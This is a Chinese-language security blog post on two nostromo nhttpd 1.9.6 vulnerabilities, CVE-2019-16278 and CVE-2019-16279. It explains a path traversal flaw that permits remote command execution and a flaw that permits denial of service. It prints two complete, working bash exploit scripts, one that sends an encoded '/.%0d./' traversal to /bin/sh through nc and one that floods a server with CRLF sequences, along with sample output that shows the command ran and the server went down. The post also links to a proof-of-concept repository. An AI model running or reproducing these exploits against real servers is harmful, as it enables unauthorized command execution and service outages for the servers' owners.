«

CVE-2019-16278&CVE-2019-16279-nostromo nhttpd 路径遍历漏洞和Dos漏洞

时间:2019-10-21 20:57     作者:admin     分类: 业界新闻


0x1.nostromo nhttpd简介

nostromo nhttpd是一款简单,快速的开源Web服务器,其作者是来自瑞士tiefen Boden 7的马库斯·格洛克(Marcus Glocker)。

0x2.漏洞来源 

10月14日来自hackthebox名人堂第290名精英黑客sp0re公布了 nostromo nhttpd 1.9.6(目前最新版,算是0day吧)及之前版本中的‘http_verify’函数存在路径遍历漏洞CVE-2019-16278和拒绝服务攻击(Dos)CVE-2019-16279 。

0x3.漏洞详情 

CVE-2019-16278漏洞源于网络系统或产品未能正确地过滤资源或文件路径中的特殊元素,攻击者可利用该漏洞访问受限目录之外的位置,

而且这个漏洞是因为 对CVE-2011-0751漏洞的未完全修复导致攻击者可以利用类似 /../ 的路径格式绕过限制从而通过 /bin/sh 来执行任意参数,即命令执行

例如:


$ ./CVE-2019-16278.sh 127.0.0.1 8080 id
uid=1001(sp0re) gid=1001(sp0re) groups=1001(sp0re)

而CVE-2019-16279是在当攻击者在单连接中发送大量的 \r\n 就会导致 nhttpd 出现内存错误,从而导致决绝服务。

例如:

$ curl http://127.0.0.1:8080
HELLO!
$ ./CVE-2019-16279.sh 127.0.0.1 8080
$ curl http://127.0.0.1:8080
curl: (7) Failed to connect to 127.0.0.1 port 8080: Connection refused

0x4.漏洞相关脚本 

CVE-2019-16278.sh:

#!/usr/bin/env bash

HOST="$1"
PORT="$2"
shift 2

( \
    echo -n -e 'POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0\r\n'; \
    echo -n -e 'Content-Length: 1\r\n\r\necho\necho\n'; \
    echo "$@ 2>&1" \
) | nc "$HOST" "$PORT" \
  | sed --quiet --expression ':S;/^\r$/{n;bP};n;bS;:P;n;p;bP'

CVE-2019-16279.sh:

#!/usr/bin/env bash

HOST="$1"
PORT="$2"

echo -n -e '\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n' | nc "$HOST" "$PORT"



同时,我也更新了一份到我的GitHub漏洞收集仓库:https://github.com/Mr-xn/Penetration_Testing_POC ,欢迎大家一起start和贡献!

相关资料:

http://www.nazgul.ch/dev_nostromo.html

https://git.sp0re.sh/sp0re/Nhttpd-exploits

标签: 黑客 漏洞 DDOS cve rce

版权所有:Mrxn's Blog
文章标题:CVE-2019-16278&CVE-2019-16279-nostromo nhttpd 路径遍历漏洞和Dos漏洞
除非注明,文章均为 Mrxn's Blog 原创,请勿用于任何商业用途,转载请注明作者和出处 Mrxn's Blog

扫描二维码,在手机上阅读

推荐阅读: